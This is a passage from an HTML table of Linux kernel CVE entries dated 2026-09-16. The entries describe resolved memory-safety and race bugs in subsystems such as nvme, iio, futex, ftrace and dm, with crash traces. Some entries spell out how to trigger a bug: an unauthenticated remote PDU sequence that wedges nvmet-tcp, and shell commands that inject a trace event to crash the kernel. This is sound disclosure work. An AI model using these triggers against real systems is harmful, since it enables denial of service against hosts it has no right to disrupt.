&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89940&quot; target=&quot;_blank&quot;&gt;CVE-2026-89940&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: iio: buffer: Make IIO DMA fence release RCU-safe The `dma_fence` documentation states that if a custom release implementation is provided, the `dma_fence` object must be freed in an RCU-safe way. The current `iio_dma_fence` implementation uses `kfree()`, which might result in a use-after-free. Remove the custom `release` implementation. This makes the DMA fence core fall back to `dma_fence_free()`, which calls `kfree_rcu()` on the fence. This requires that the fence be the first member of `struct iio_dma_fence`. Using the default release method for extended DMA fence structures is a common pattern.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89941&quot; target=&quot;_blank&quot;&gt;CVE-2026-89941&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: iio: buffer: Fix potential use-after-free in anonymous buffer release An anonymous buffer handle holds a reference to the underlying IIO device. The reference is dropped in the buffer handle&#039;s release function. If the device has been removed, either through unbind or hot-unplug, the buffer handle might hold the last reference. The release function takes the mutex for the buffer using a guard, which means the unlock happens after all the code in the function, including `iio_device_put()`. If the anonymous buffer holds the last reference this might free both the IIO device and the buffer, which contains the mutex, leading to use-after-free when the mutex is unlocked. Fix this by using a scoped guard just around the buffer dmabuf list access, making sure the mutex is unlocked before releasing the IIO device. Version 10 of the patch that introduced this issue used this exact scheme of first unlocking and then dropping the reference [1]. During review it was suggested to use a guard instead, and version 11 made that change [2].&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89942&quot; target=&quot;_blank&quot;&gt;CVE-2026-89942&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: powerpc/mm: fix wrong addr_pfn tracking in compound vmemmap population vmemmap_populate_compound_pages() uses addr_pfn to determine the PFN offset within a compound page and to decide whether the current vmemmap slot should be populated as a head page mapping or should reuse a tail page mapping. However, addr_pfn is advanced manually in parallel with addr. The loop itself progresses in vmemmap address space, so each PAGE_SIZE step in addr covers PAGE_SIZE / sizeof(struct page) struct page slots. Since addr_pfn is compared against nr_pages in data-PFN units, it should advance by the same number of PFNs. The existing manual increments do not match that and therefore do not reliably track the PFN corresponding to the current addr. As a result, pfn_offset can be computed from the wrong PFN and the code can make the head/tail decision for the wrong compound-page position. Fix this by deriving addr_pfn directly from the current vmemmap address instead of carrying it as loop state.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89961&quot; target=&quot;_blank&quot;&gt;CVE-2026-89961&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nvdimm/btt: reject an arena whose nfree is below the lane count The BTT info block&#039;s nfree field, the number of reserve free blocks, is read from the medium without validation. btt_freelist_init() and btt_rtt_init() size the per-lane freelist[] and rtt[] arrays by nfree, but the I/O path indexes them by the lane from nd_region_acquire_lane(), which is bounded by nd_region-&amp;gt;num_lanes (ND_MAX_LANES), not by nfree. A crafted or foreign arena whose nfree is below the lane count makes freelist[lane]/rtt[lane] run past the allocation: an out-of-bounds write. btt.rst documents the nlanes = min(nfree, num_cpus) invariant, which the code does not currently honor: num_lanes is ND_MAX_LANES regardless of nfree. Reject an arena whose nfree is below num_lanes at discovery, before the per-lane arrays are allocated, enforcing that invariant.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89965&quot; target=&quot;_blank&quot;&gt;CVE-2026-89965&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: mm/migrate_device: avoid out-of-bounds writes for compound folios migrate_device_range() and migrate_device_pfns() clear the entries following a compound folio so that the PFN arrays retain their page-granular representation. If a compound folio extends beyond the end of the caller-provided range, the loops clear all following folio entries without limiting them to the number of slots remaining in the npages-sized array, causing an out-of-bounds write. Do not proceed with a compound folio if its page-granular representation does not fit entirely in the remaining PFN array. If this happens, drop any reference and lock acquired for the folio, clear the remaining entries, and stop collecting. Observed with a KASAN x86 QEMU kernel using the HMM migrate_anon_huge_zero selftest. Closing /dev/hmm_dmirror0 after migrating an anonymous huge page to device memory exercises: dmirror_fops_release() -&amp;gt; dmirror_device_evict_chunk() -&amp;gt; migrate_device_range()&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89967&quot; target=&quot;_blank&quot;&gt;CVE-2026-89967&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nvmet-tcp: reject unsolicited H2CData PDUs nvmet_tcp_handle_h2c_data_pdu() accepts an H2CData PDU after only checking that its TTAG is a valid in-range command index and that the command&#039;s data buffers are mapped. It never checks that the target has actually solicited that data by sending an R2T for the command. A remote host can abuse this. It submits a write command that takes the R2T path and, before the target transmits the R2T, sends an H2CData PDU for that command&#039;s tag. The data completes the command early, and when the command then fails synchronously (e.g. a length mismatch caught by nvmet_check_transfer_len()), it is completed a second time. Each completion calls nvmet_tcp_queue_response(), so the same command is added to queue-&amp;gt;resp_list twice while it is still linked; the second llist_add() makes the node point to itself (lentry-&amp;gt;next == lentry). nvmet_tcp_process_resp_list() then walks that self-referential node and adds the command to resp_send_list twice. With CONFIG_DEBUG_LIST this trips the &quot;list_add double add&quot; check (kernel BUG); without it the loop never terminates and the nvmet_tcp workqueue wedges (soft-lockup). It is remotely triggerable and needs no authentication on an allow_any_host subsystem. Track whether an R2T has been transmitted for a command and reject an H2CData PDU that arrives before it. The flag is cleared on command reuse (nvmet_tcp_get_cmd() zeroes cmd-&amp;gt;flags) and stays set across the multiple H2CData PDUs of a single solicited transfer.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89968&quot; target=&quot;_blank&quot;&gt;CVE-2026-89968&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nvme: skip the zoned limits update if the zone info query failed nvme_query_zone_info() returns either a negative errno or a positive NVMe status code, but nvme_update_ns_info_block() only tests for the negative case: ret = nvme_query_zone_info(ns, lbaf, &amp;amp;zi); if (ret &amp;lt; 0) goto out; If the device fails the Identify Namespace (I/O Command Set specific) command, or the Identify Controller command issued by nvme_set_max_append(), the positive status falls through and setup continues with the zero-initialized zone info. nvme_update_zone_info() then marks the queue zoned with chunk_sectors and ns-&amp;gt;head-&amp;gt;zsze set to zero. blk_validate_zoned_limits() does not check chunk_sectors, so the limits commit succeeds. blk_revalidate_disk_zones() does reject the zero zone size, but by then the limits are live and nothing rolls them back, so I/O keeps being submitted to a zoned queue with a zero zone size and disk_zone_no() shifts by ilog2(0): nvme0n1: Invalid non power of two zone size (0) UBSAN: shift-out-of-bounds in include/linux/blkdev.h:747:16 shift exponent -1 is negative disk_zone_no include/linux/blkdev.h:747 [inline] bio_straddles_zones include/linux/blkdev.h:1058 [inline] blk_zone_wplug_handle_write block/blk-zoned.c:1423 [inline] blk_zone_plug_bio.cold+0x25/0x1c8 block/blk-zoned.c:1605 blk_mq_submit_bio+0x18fb/0x2870 block/blk-mq.c:3196 submit_bh_wbc+0x575/0x740 fs/buffer.c:2824 __block_write_full_folio+0x728/0xdd0 fs/buffer.c:1933 Any device, firmware or NVMe-oF target that fails this one command reaches this. Skip the zoned limits update in that case, and log which of the two things happened: during a revalidation the queue keeps the zone geometry it was last validated with, and on a first scan the namespace is registered without zoned limits, so that it is still available as a handle for admin commands. Neither of the paths in nvme_query_zone_info() that return a positive status logs anything, so the failure would otherwise be silent. zi.zone_size is an exact indicator: every path that returns a positive status returns before it is assigned, and after that the only failure left is -ENODEV, which the caller already handles. Found by FuzzNvme.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89971&quot; target=&quot;_blank&quot;&gt;CVE-2026-89971&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nvme-fc: fix double free of fabrics options when nvme_add_ctrl() fails nvmf_create_ctrl() owns the fabrics options and frees them whenever -&amp;gt;create_ctrl() returns an error, so a transport must not free them on its own error paths. nvme-fc tracks this by testing ctrl-&amp;gt;ctrl.opts in nvme_fc_ctrl_free(), which requires nvme_fc_init_ctrl() to clear that pointer on every error exit. The coupling is implicit, and commit 1a9e218195a5 (&quot;nvme: split device add from initialization&quot;) broke it by adding a second error exit. When nvme_add_ctrl() fails, nvme_fc_init_ctrl() jumps to out_put_ctrl:, past the &quot;ctrl-&amp;gt;ctrl.opts = NULL&quot; that only sits on the fail_ctrl: path, so nvme_fc_ctrl_free() frees the options and nvmf_create_ctrl() frees them a second time: BUG: KASAN: slab-use-after-free in nvmf_free_options+0x30/0x190 nvmf_free_options+0x30/0x190 drivers/nvme/host/fabrics.c:1284 nvmf_create_ctrl drivers/nvme/host/fabrics.c:1374 [inline] Freed by task 5534: nvme_fc_ctrl_free drivers/nvme/host/fc.c:2374 [inline] nvme_fc_init_ctrl+0xe17/0x1450 drivers/nvme/host/fc.c:3605 nvme_add_ctrl() fails when dev_set_name() cannot allocate, so this is reachable under memory pressure or fault injection. Without KASAN the options are freed twice. Rather than clear the pointer on the second exit as well, derive ownership the way nvme-tcp, nvme-rdma and nvme-loop do, from list membership: their free_ctrl leaves the options alone unless the controller made it onto the transport list. The list cannot simply be populated on the success path as it is there. nvme-fc runs the initial connect synchronously via flush_delayed_work(), and the controller has to be reachable on rport-&amp;gt;ctrl_list for the whole of it: nvme_fc_unregister_remoteport() needs to find it to signal connectivity loss, nvme_fc_match_disconn_ls() matches an incoming Disconnect Association LS against ctrl-&amp;gt;association_id, which is only assigned during that window, nvme_fc_resume_controller() needs it on remoteport re-registration, and nvme_fc_existing_controller() uses it to reject a duplicate connect racing the one in flight. Keep the insertion where it is and add a fail_unlist: label, falling into fail_ctrl:, for the error paths that run after it. The earlier error paths never reach the insertion and keep using fail_ctrl: directly, so the list is only touched where the controller is actually on it. nvme_fc_ctrl_free() cannot use the plain &quot;goto free_ctrl&quot; the other transports use, because it still has to put_device(), release the rport reference and free the ida entry for resources taken before the insertion. Sample list_empty() under rport-&amp;gt;lock instead. ctrl-&amp;gt;ctrl.opts also stays valid for the whole teardown now. That is not the bug being fixed, but it removes some fragility around the old idiom: nvme_free_ctrl() calls nvme_auth_free() before -&amp;gt;free_ctrl(), and ctrl_max_dhchaps() dereferences ctrl-&amp;gt;opts without a NULL check when ctrl-&amp;gt;dhchap_ctxs is set, which nvme-fc permits since NVMF_ALLOWED_OPTS allows the dhchap options. The nvme sysfs attributes that dereference ctrl-&amp;gt;opts, such as hostnqn and address, evaluate their is_visible() test once at device_add() time and stay readable until cdev_device_del().&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89974&quot; target=&quot;_blank&quot;&gt;CVE-2026-89974&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ALSA: pcm: Fix race between non-atomic ops and trigger-start We protect the races of the concurrent state transitions between atomic PCM ops, but the checks between the non-atomic ops (hw_params, hw_free and prepare) and the atomic ops aren&#039;t perfect; there is a check of the conflicting PCM state at the beginning of hw_params &amp;amp; co, but the atomic PCM ops can be still issued during the non-atomic PCM operations. An example such scenario is that a thread A re-issues the PREPARE or HW_PARAMS for the already prepared stream, while another thread B triggers the PCM start in the middle of the prepare operation. Although this usually doesn&#039;t lead to much serious issues, it can give some inconsistency as reported by syzkaller (such as ODEBUG warning). There are various atomic PCM ops, and basically the only problem is the PCM start as it operates from the PREPARED state. Other trigger commands (stop, etc) are for the running or the other special state, hence they are filtered as pre-condition. This patch is for preventing the PCM trigger-start during the non- atomic operations in order to address the problems above. Fortunately, the hw_params, hw_free and prepare operations call snd_pcm_buffer_access_lock(), and this can be used for checking the concurrent operations at the PCM trigger -- which sets the runtime-&amp;gt;buffer_accessing to a negative (if possible), so the PCM trigger just needs to check the runtime-&amp;gt;buffer_accessing value; if it&#039;s negative, it means the concurrent non-atomic PCM ops is running.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89979&quot; target=&quot;_blank&quot;&gt;CVE-2026-89979&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: memcg: keep folio&#039;s objcg same as its node memcg_reparent_objcgs() has an inherent assumption that a folio&#039;s objcg is the objcg of the folio&#039;s node. Folio migration across nodes breaks that assumption: the new folio simply inherits the old folio&#039;s objcg while living on a different node. Once the assumption is broken, the reparenting of the folio&#039;s objcg and the reparenting of the folio&#039;s LRU list are no longer atomic. memcg_reparent_objcgs() handles one node per iteration and drops all the locks in between, so the objcg gets reparented in the iteration for the objcg&#039;s node while the LRU list gets spliced in the iteration for the folio&#039;s node. Any LRU operation on that folio in between resolves its lruvec through the objcg, and thus takes the lru_lock of the wrong memcg, not the lru_lock of the list the folio is actually on. Fix this by selecting the objcg by folio_nid() at charge time, and by re-deriving it for the destination node in mem_cgroup_migrate() and mem_cgroup_replace_folio().&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89985&quot; target=&quot;_blank&quot;&gt;CVE-2026-89985&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: mm/mempolicy: fix sleeping allocation in alloc_pages_bulk_weighted_interleave() syzbot reported a sleeping function called from invalid context splat in bucket_table_alloc(). When rhashtable_insert_slow() rehashes the table under rcu_read_lock(), it calls bucket_table_alloc(..., GFP_ATOMIC | __GFP_NOWARN). If the bucket table allocation uses vmalloc, __vmalloc_node_range_noprof() invokes vm_area_alloc_pages() -&amp;gt; alloc_pages_bulk_mempolicy_noprof() with the passed GFP_ATOMIC flags. If the current task has an MPOL_WEIGHTED_INTERLEAVE mempolicy, alloc_pages_bulk_weighted_interleave() is called and currently hardcodes GFP_KERNEL when allocating the temporary weights array, triggering a might_alloc() splat in atomic/RCU contexts. Pass the gfp flags (masked with GFP_RECLAIM_MASK to strip page-allocator zone modifiers like __GFP_HIGHMEM) received by alloc_pages_bulk_weighted_interleave() to kmalloc() instead of hardcoding GFP_KERNEL. Since the weights buffer is immediately initialized in full, kmalloc() is sufficient.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89986&quot; target=&quot;_blank&quot;&gt;CVE-2026-89986&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: kprobes: Protect kprobe_blacklist with RCU __within_kprobe_blacklist() traverses kprobe_blacklist without holding kprobe_mutex. When a module is unloaded, kprobe_remove_area_blacklist() removes blacklist entries and immediately frees them with kfree(). A concurrent call to within_kprobe_blacklist() can therefore dereference freed memory. Furthermore, within_kprobe_blacklist() can be called in atomic or non-preemptible contexts where the sleeping kprobe_mutex cannot be taken. Protect kprobe_blacklist with RCU. Use guard(rcu)() and list_for_each_entry_rcu() for traversal, list_add_tail_rcu() for insertions, list_del_rcu() for deletions, and kfree_rcu() to reclaim entries safely after a grace period.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89988&quot; target=&quot;_blank&quot;&gt;CVE-2026-89988&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: dmaengine: fsl-edma: tracing: no ptr dereference during log output The fsl edma events store a pointer to a struct fsl_edma_engine in the ringbuffer and dereference it when a log entry is printed. At this time, the pointer may no longer be valid. Event injection can be used to trigger a crash: $ cd /sys/kernel/tracing $ echo &#039;value = 0&#039; &amp;gt; events/fsl_edma/edma_writeb/inject $ cat trace The log output needs only edma-&amp;gt;membase. Add a membase field at the end of the event and use the new field for log output. Keep the existing fields for backward compatibility.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89994&quot; target=&quot;_blank&quot;&gt;CVE-2026-89994&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: dm: fix resume-vs-remove race If the user issues the resume ioctl and the remove ioctl at the same time, it may be possible that the device is resumed after it is suspended in __dm_destroy. The result is that the table is destroyed without calling the postsuspend method. Dm targets expect that they may be removed only after the postsuspend method method was called. If we break this expectation, it can cause misbehavior in various targets. For example - in the dm-integrity target, the reboot notifier is not unregistered, leading to use-after-free. Fix this bug by refusing to resume if the device is being destroyed.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89997&quot; target=&quot;_blank&quot;&gt;CVE-2026-89997&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: dm: fix race when loading and unloading a table If the userspace calls two concurrent table load ioctls and one of them succeeds and the other fails, there is a race condition because dm_setup_md_queue walks &amp;amp;md-&amp;gt;table_devices without any lock. If the walk races with dm_table_destroy -&amp;gt; free_devices -&amp;gt; dm_put_table_device, there is access to invalid memory. Fix this race by extending the lock over the list walk.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89998&quot; target=&quot;_blank&quot;&gt;CVE-2026-89998&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: HID: bpf: serialize device reference release in struct_ops destroy path __hid_bpf_ops_destroy_device() and hid_bpf_unreg() can race on the same registration reference, double-putting struct hid_device and freeing it while hid_destroy_device() still uses it. Serialize the remove/NULL decision under hdev-&amp;gt;bpf.prog_list_lock so exactly one path releases each registration reference: unreg re-checks ops-&amp;gt;hdev under the lock and returns without putting when the destroy path already cleared it; all put_device() calls happen after the lock is dropped, which is safe because a concurrent unreg then observes ops-&amp;gt;hdev == NULL under the lock. Background: each successful attach (hid_bpf_ops_reg) acquires one device reference (hid_get_device()). Two paths can release it: - device destruction: hid_destroy_device() -&amp;gt; hid_bpf_destroy_device() -&amp;gt; __hid_bpf_ops_destroy_device(), which walks hdev-&amp;gt;bpf.prog_list under rcu_read_lock() and drops one reference per attached program; - BPF link release: bpf map delete (no BPF_F_LINK) synchronously calls st_ops-&amp;gt;unreg() -&amp;gt; hid_bpf_unreg(), which drops the reference for its own registration. The coordination handshake (e-&amp;gt;hdev = NULL on the destroy side vs &quot;if (!hdev) return&quot; on the unreg side) is a TOCTOU check: the two paths run under different lock domains (rcu_read_lock vs prog_list_lock), so a concurrent unreg can read ops-&amp;gt;hdev as non-NULL, block on prog_list_lock, and then proceed while the destroy traversal executes - both paths then drop the same reference. The refcount reaches zero legitimately (each decrement is individually valid), so no refcount_t saturation fires: the device is simply freed while the transport is still inside hid_destroy_device(), and subsequent teardown touches freed memory. The fix serializes the remove/NULL decision under prog_list_lock on both sides and moves the destroy-side puts outside the lock. With the lock held, plain reads/writes of ops-&amp;gt;hdev are sufficient; no READ_ONCE/WRITE_ONCE are added, keeping the patch minimal. Unlocked-read safety: the unlocked read of ops-&amp;gt;hdev at the top of hid_bpf_unreg() cannot touch a freed device, because the unreg path itself still holds this registration&#039;s reference (released only by its own hid_put_device() after the lock is dropped), and a destroy traversal that already cleared ops-&amp;gt;hdev makes the lock-internal re-check return early without any put. At most one of the two paths releases each registration reference.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90001&quot; target=&quot;_blank&quot;&gt;CVE-2026-90001&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ftrace: Take trace_array reference before accessing its ftrace_ops The trace instance files set_ftrace_filter and set_ftrace_notrace was updated to work with specific trace instances (trace_arrays). The issue is that when these files are opened, there is a small race window where it will use the ftrace_ops from the inode-&amp;gt;private pointer to get a reference to the trace_array and then take its reference. The problem is that the ftrace_ops itself could be freed. If the rmdir on the instance happens at the same time the set_ftrace_filter file is opened, the rmdir could have also freed the ftrace_ops and referencing it will cause a use-after-free bug and crash the kernel. Instead, pass in the trace_array as the file private data (NULL for the top level instance), and then pass both the trace_array and the ftrace_ops to the ftrace_regex_open() function. If the trace_array is NULL, then it just uses the ftrace_ops without the need to take its reference (like normal). If the ftrace_ops is NULL, that is only the case for the top level instance and the global_ops can be used. This allows the trace_array to have its reference incremented before touching the ftrace_ops that could also be freed when the instance is.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90002&quot; target=&quot;_blank&quot;&gt;CVE-2026-90002&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: futex: Prevent rcuwait use-after-free during requeue PI On PREEMPT_RT, FUTEX_CMP_REQUEUE_PI can trigger a KASAN report (slab-out-of-bounds) in futex_requeue_pi_complete() invocation of rcuwait_wake_up(). The futex_q used by futex_wait_requeue_pi() is allocated on the waiter&#039;s stack. An early wakeup can race with a PI requeue as follows: waiter requeue task ------ ------------ futex_wait_requeue_pi() futex_do_wait() schedule() futex_requeue futex_proxy_trylock_atomic() futex_requeue_pi_prepare() Q_REQUEUE_PI_NONE -&amp;gt; Q_REQUEUE_PI_IN_PROGRESS * timeout/ signal wakes waiter * futex_requeue_pi_wakeup_sync() Q_REQUEUE_PI_IN_PROGRESS -&amp;gt; Q_REQUEUE_PI_WAIT requeue_pi_wake_futex futex_requeue_pi_complete() cmpxchg Q_REQUEUE_PI_WAIT -&amp;gt; Q_REQUEUE_PI_LOCKED rcuwait_wait_event() if (atomic_read(&amp;amp;q-&amp;gt;requeue_state) != Q_REQUEUE_PI_WAIT) break /* no schedule() */ /* q.pi_state-&amp;gt;owner == current */ futex_private_hash_put() /* return from syscall */ rcuwait_wake_up(&amp;amp;q-&amp;gt;requeue_wait) /* q is gone */ futex_requeue_pi_complete() publishes Q_REQUEUE_PI_LOCKED before calling rcuwait_wake_up(). The waiter observes this state in rcuwait_wait_event() before invoking schedule() in rcuwait_wait_event(). Here, the waiter is free leave the syscall before requeue task can complete the wake. To address this race skip rcuwait_wake_up() in the Q_REQUEUE_PI_LOCKED case. This state is only published by requeue_pi_wake_futex(), which saves q-&amp;gt;task before futex_requeue_pi_complete() and wakes the waiter via wake_up_state(). This wake is intended to wake the waiter from its futex_do_wait() sleep. If the waiter is still sleeping there, it can not get into the Q_REQUEUE_PI_WAIT state (and require this removed wake). Should the waiter be woken up from futex_do_wait() by other means (as in this example) and sleep in futex_requeue_pi_wakeup_sync() then the wake_up_state() from requeue_pi_wake_futex() will wake it, too. Should the waiter task terminate before wake_up_state() had a chance to wake the task then the task pointer does not become invalid because the futex_hash_bucket::lock is held and the task pointer is RCU protected. [bigeasy: Updated comment and commit message]&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90003&quot; target=&quot;_blank&quot;&gt;CVE-2026-90003&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: scsi: pm8001: Use rollback index when freeing MSI-X vectors pm8001_request_msix() unwinds previously registered handlers with free_irq() when request_irq() fails. The rollback loop uses the failing index i for every iteration instead of the already registered vector index j. That passes the wrong IRQ/dev_id pair to free_irq() and leaves the earlier handlers installed. Use j for both pci_irq_vector() and the matching irq_vector entry in the rollback loop.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90007&quot; target=&quot;_blank&quot;&gt;CVE-2026-90007&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: scsi: megaraid_sas: Limit NVMe request size to the PRP chain frame megasas_make_prp_nvme() builds a command&#039;s PRP list in cmd-&amp;gt;sg_frame, a DMA pool buffer of instance-&amp;gt;max_chain_frame_sz bytes, spending one entry per NVMe page of the transfer plus one per page of the buffer for the chain pointer. The loop runs until the transfer is described and never checks the buffer bound. max_hw_sectors comes straight from the MDTS the firmware reports for the drive. On drives with a large MDTS the only thing keeping the list inside the buffer was the block layer default of 1280 KiB, which needs 320 entries, which fit into a 4 KiB frame as that holds 512. But since commit 9b8b84879d4a (&quot;block: Increase BLK_DEF_MAX_SECTORS_CAP&quot;) that default is 4 MiB, and such a transfer needs 1025 entries, so the list runs a full page past the end of the frame: sd 1:0:1:0: [sdb] tag#630 page boundary ptr_sgl: 0x00000000ba62d13f BUG: unable to handle page fault for address: ff663bcb81e7c000 #PF: supervisor write access in kernel mode #PF: error_code(0x0002) - not-present page RIP: 0010:megasas_build_and_issue_cmd_fusion+0xeaa/0x1870 [megaraid_sas] If the page after the frame happens to be mapped, the overrun does not fault but silently corrupts the neighbouring pool entry, which is another in-flight command&#039;s PRP list. Cap max_hw_sectors at what the chain frame can describe, less one page for transfers that do not start on a page boundary and so need one entry more. This is the megaraid_sas counterpart of commit 04631f55afc5 (&quot;scsi: mpt3sas: Limit NVMe request size to 2 MiB&quot;), but derives the limit from max_chain_frame_sz rather than hardcoding 